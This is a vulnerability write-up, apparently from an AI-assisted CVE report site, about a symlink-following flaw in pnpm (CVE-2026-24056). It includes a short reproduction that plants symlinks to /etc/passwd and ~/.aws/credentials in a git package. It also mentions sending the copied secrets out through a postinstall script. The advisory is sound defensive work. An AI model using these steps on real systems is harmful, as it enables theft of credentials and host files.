CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24056

Symlink Shenanigans in pnpm: Leaking Host Files via CAFS

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 27, 2026·7 min read·19 visits

Executive Summary (TL;DR)

pnpm versions prior to 10.28.2 fail to correctly handle symbolic links when adding files from local directories or git repositories to its internal store. By using `fs.statSync` instead of `fs.lstatSync`, pnpm blindly follows symlinks, allowing an attacker to create a package that symlinks to `/etc/passwd` (or other sensitive files). When a victim installs this package, pnpm reads the target file and copies it into the project's `node_modules`, effectively exfiltrating local data.

A high-severity path traversal vulnerability in the pnpm package manager allows malicious packages (via `file:` or `git:` protocols) to read arbitrary files from the host system by abusing symbolic links during the ingestion process.

The Hook: The Disk-Saving Demon

pnpm has built its reputation on being the efficient, disk-saving alternative to npm. Its superpower lies in its Content-Addressable File Store (CAFS). Instead of duplicating node_modules for every project, pnpm stores a single copy of every file in a global store and hardlinks them into your project. It’s elegant, it’s fast, and it’s usually secure. But here's the irony: the very mechanism designed to efficiently ingest and deduplicate files is exactly what allowed attackers to siphon sensitive data off your hard drive.

At its core, a package manager is just a fancy file mover. It takes files from Source A (a registry, a git repo, or a local folder) and moves them to Destination B (your project). The security model relies entirely on the assumption that Source A only contains what it claims to contain. But what happens when Source A is a local directory containing a symbolic link that points outside of itself? If the package manager isn't paranoid, it might just follow that link like a lost puppy.

CVE-2026-24056 is precisely that scenario. It’s a classic failure of trust. When pnpm processes dependencies defined with the file: or git: protocol, it recursively walks the directory to add files to the CAFS. Due to a logical oversight in how file stats were retrieved, pnpm treated symlinks not as links, but as the files they pointed to. This means a package claiming to contain config.json could actually be serving up your ~/.ssh/id_rsa on a silver platter.

The Flaw: The `stat` vs `lstat` Catastrophe

To understand this vulnerability, you need to understand the subtle but deadly difference between two Node.js filesystem functions: fs.stat() and fs.lstat(). This is often the first lesson in "Secure Coding 101" for Node developers, yet it remains a persistent source of bugs in even the most mature projects. fs.stat() follows symbolic links transparently. If you run stat on a symlink, you get the metadata of the target file. fs.lstat(), on the other hand, looks at the link itself.

The vulnerability lived in @pnpm/store.cafs, specifically in the addFilesFromDir.ts module. This module's job is to walk a directory tree and ingest files. The developers implemented a recursive walk. When they encountered a file entry, they called fs.statSync(). The intention was likely just to check file sizes or permissions, but the side effect was catastrophic. By using statSync, the code implicitly authorized a traversal.

If an attacker places a symlink named innocent.txt pointing to /etc/passwd, fs.statSync('innocent.txt') returns the stats for /etc/passwd. Consequently, the subsequent fs.readFileSync() call—which also follows links by default—reads the contents of /etc/passwd. pnpm then hashes this content and happily stores it in its global cache as if it were a legitimate part of the package. The traversal doesn't require ../ characters in a path string; it utilizes the filesystem's own linking capability to jump out of the sandbox.

The Code: Anatomy of a Screw-up

Let's look at the smoking gun. The vulnerable code was deceptively simple. It looked like standard directory walking logic, which is why it likely survived code reviews. Here is the logic flow prior to the patch:

// Vulnerable logic in store/cafs/src/addFilesFromDir.ts
const absolutePath = path.join(dirname, relativePath);
// CRITICAL FLAW: blindly following links
const stat = fs.statSync(absolutePath);
const buffer = fs.readFileSync(absolutePath);

The fix required a fundamental shift in how files are inspected. The patch introduced fs.lstatSync to inspect the file type before deciding to read it, and a canonical path check using fs.realpathSync to ensure the target actually resides within the package boundary. Here is the remediation pattern:

// Fixed logic
import isSubdir from 'is-subdir';
 
// 1. Resolve the package root
const resolvedRoot = fs.realpathSync(dirname);
 
function getStatIfContained(absolutePath, rootDir) {
  // 2. Check the link itself, don't follow it yet
  const lstat = fs.lstatSync(absolutePath);
  
  if (lstat.isSymbolicLink()) {
    // 3. Resolve where the link goes
    const realPath = fs.realpathSync(absolutePath);
    // 4. The "Jail Check": Is the target inside our root?
    if (!isSubdir(rootDir, realPath)) {
      return null; // Block the traversal
    }
    return fs.statSync(realPath);
  }
  return lstat;
}

The addition of isSubdir is the critical guardrail. Even if a symlink exists, pnpm now verifies that the link resolves to a path inside the package directory. If it points to /etc/shadow, isSubdir returns false, and the file is ignored.

The Exploit: Leeching the Host

Exploiting this requires creating a malicious package that acts as a vacuum for host data. Since standard npm registries (like npmjs.com) strip symlinks during the publish process, this attack vector is restricted to file: and git: dependencies. This makes it highly effective for internal attacks or supply chain compromises where developers install dependencies from private git repositories.

Here is a step-by-step reproduction of the attack:

  1. The Trap: The attacker creates a git repository containing a symlink. They can target generic files likely to exist on a developer's machine or CI runner.

    mkdir malicious-pkg && cd malicious-pkg
    # Link to a sensitive file on the victim's machine
    ln -s /etc/passwd payload.txt
    # Or targeting AWS credentials
    ln -s ~/.aws/credentials aws-creds.txt
    echo '{"name":"malicious-pkg", "version":"1.0.0"}' > package.json
    git init && git add . && git commit -m "Initial commit"
  2. The Trigger: The victim installs this package using the git protocol.

    pnpm add git:./malicious-pkg
    # or
    pnpm add git+ssh://git@github.com/attacker/malicious-pkg.git
  3. The Exfiltration: During installation, pnpm resolves the symlink, reads the local file, and places a copy of it into the project's node_modules.

    cat node_modules/malicious-pkg/payload.txt
    # Output: root:x:0:0:root:/root:/bin/bash ...

Once the file is in node_modules, it can be exfiltrated via a postinstall script in the same package, which could curl the contents to an attacker-controlled server.

The Impact: CI/CD Nightmares

While targeting individual developers is fun, the real devastation occurs in CI/CD environments. Build servers often run with elevated privileges or have access to sensitive environment variables and configuration files. They are also notoriously promiscuous, pulling code from various repositories to build artifacts.

Imagine a scenario where a developer submits a Pull Request that adds a dependency to a "helper utility" hosted on a private git server. The CI pipeline runs pnpm install to prepare the build environment. The malicious helper package contains a symlink to /proc/self/environ or specific Kubernetes service account tokens located at /var/run/secrets/kubernetes.io/serviceaccount/token.

pnpm dutifully copies these secrets into the node_modules folder. The build process then creates an artifact (e.g., a Docker container or a zipped build) that includes node_modules. Now, the internal infrastructure secrets are embedded in the release artifact, potentially readable by anyone with read access to the registry. Even worse, if the attacker uses a postinstall script, they can egress those secrets immediately during the build process, bypassing the need to inspect artifacts.

The Fix: Plugging the Hole

The remediation is straightforward: update pnpm. The maintainers released version 10.28.2 to address this. This version enforces the boundary checks described in the code section above. If you are stuck on an older version of pnpm for legacy reasons, you are in a precarious position.

If you cannot upgrade immediately, your only defense is strict hygiene regarding dependency sources. Do not use file: or git: dependencies from untrusted sources. However, this is hard to enforce, as transitive dependencies can introduce these protocols without top-level awareness. The only robust fix is the patch.

For security teams, this serves as a reminder to audit pnpm-lock.yaml files. Look for specifiers that resolve to git URLs or local paths. These are your high-risk vectors. Standard version ranges (e.g., ^1.2.3) pulling from the npm registry are immune to this specific CVE, offering a small sigh of relief.

Official Patches

pnpmpnpm v10.28.2 Release Notes
GitHubGitHub Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
6.7/ 10
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Affected Systems

pnpm < 10.28.2Node.js development environmentsCI/CD pipelines using pnpm

Affected Versions Detail

Product
Affected Versions
Fixed Version
pnpm
pnpm
< 10.28.210.28.2
AttributeDetail
CWE IDCWE-22 & CWE-59
Attack VectorLocal / User Interaction
CVSS v4.06.7 (Medium)
Affected Component@pnpm/store.cafs
Vulnerable FunctionaddFilesFromDir()
Protocol Vectorfile: and git:

MITRE ATT&CK Mapping

T1204.002User Execution: Malicious File
Execution
T1005Data from Local System
Collection
CWE-59
Improper Link Resolution Before File Access

Improper Link Resolution Before File Access ('Link Following') leading to path traversal.

Known Exploits & Detection

GitHubCommit diff demonstrating the vulnerability and fix

Vulnerability Timeline

Fix committed to master branch
2026-01-21
pnpm v10.28.2 released
2026-01-26
GHSA-m733-5w8f-5ggw published
2026-01-26

References & Sources

  • [1]GHSA-m733-5w8f-5ggw
  • [2]CWE-59: Improper Link Resolution Before File Access

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 5 hours ago•CVE-2026-48861
2.1

CVE-2026-48861: HTTP Request Splitting and Smuggling via Method Parameter CRLF Injection in Elixir Mint

CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 6 hours ago•CVE-2026-49753
6.3

CVE-2026-49753: HTTP Request/Response Smuggling via Inconsistent Content-Length Parsing in Elixir Mint Client

An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 6 hours ago•CVE-2026-49754
8.2

CVE-2026-49754: Denial of Service via Unbounded HTTP/2 CONTINUATION Frame Accumulation in Elixir Mint

An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 7 hours ago•CVE-2026-48596
2.1

CVE-2026-48596: Improper Neutralization of CRLF Sequences in Elixir Tesla Multipart HTTP Client

CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.

Alon Barad
Alon Barad
5 views•6 min read
•about 7 hours ago•CVE-2026-48594
8.2

CVE-2026-48594: Decompression Bomb Denial of Service in Elixir Tesla HTTP Client

An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 8 hours ago•CVE-2026-48595
8.2

CVE-2026-48595: Cross-Origin Credential Leakage in Elixir Tesla Client via Case-Sensitive Redirect Filter Bypass

A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.

Alon Barad
Alon Barad
6 views•5 min read